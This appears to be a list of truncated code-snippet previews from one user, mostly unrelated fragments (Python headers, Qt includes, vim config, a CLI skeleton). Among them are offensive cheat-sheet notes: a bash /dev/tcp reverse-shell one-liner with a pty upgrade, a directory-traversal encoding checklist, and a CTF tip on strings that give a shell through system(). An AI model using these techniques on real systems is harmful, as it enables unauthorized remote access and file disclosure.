nongiach

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import faker
import random
from string import ascii_letters, digits

fake = faker.Faker()

def main():

nongiach

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import faker
import random
from string import ascii_letters, digits

fake = faker.Faker()

def main():

nongiach

// #include <QApplication>
// #include <QClipboard>
// #include <QDesktopServices>
// #include <QFontMetrics>
// #include <QGraphicsSceneMouseEvent>
// #include <QIcon>
// #include <QPainter>
// #include <QPalette>
// #include <QTextLayout>
// #include <QMenu>

nongiach

call denite#custom#var('file_rec', 'command',
      \ ['ag', '--follow', '--nocolor', '--nogroup', '--ignore=*.pyc', '-g', ''])

nongiach

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>

int main() {
  char *a = malloc(1034);
  char *b = malloc(0);
  free(b);
  free(a);

nongiach

# or => https://github.com/0x00-0x00/ShellPop
bash -i > /dev/tcp/127.0.0.1/12345 2>&1 <&1
or if socket already opened by father
for fd in {3..255}; bash -i >&fd 2>&1 <&1 & done



================================ now with a real tty: source https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/
# In reverse shell
$ python -c 'import pty; pty.spawn("/bin/bash")'

nongiach

Directory Traversal Checklist:

16 bit Unicode encoding:
 . = %u002e, / = %u2215, \ = %u2216 

Double URL encoding:
. = %252e, / = %252f, \ = %255c     

UTF-8 Unicode encoding:   
. = %c0%2e, %e0%40%ae, %c0ae, / = %c0%af, %e0%80%af, %c0%2f, \ = %c0%5c, %c0%80%5c

nongiach

grep is better than awk for cross system
ip a | grep -o ':.*: ' | grep -v ': lo: ' | grep -o '[^ :]*'

ip a | awk '!/: lo: / && match($0, ": (.*): ", a) {print a[1]}'

nongiach

@moyix
Another CTF trick: if you need a string for system() that will get you a shell, consider the humble "ed". It supports running shell commands (!), and b/c of English past tense is often available as a suffix of some existing string in the binary, e.g.: "File transfer complet𝙚𝙙"

@chaign_c
It also works with "ex", "vi", "sh", "vim", "gdb", "ftp", "php", "irb" I don't have ed on archlinux. ls /bin/???? if you want more.

nongiach

#!/usr/bin/python3

# https://github.com/epsy/clize
# pip install clize
import clize

def exploit(target, motivation=42):
    print(target, motivation)

def fuzz(target, tool="afl", *, share=False):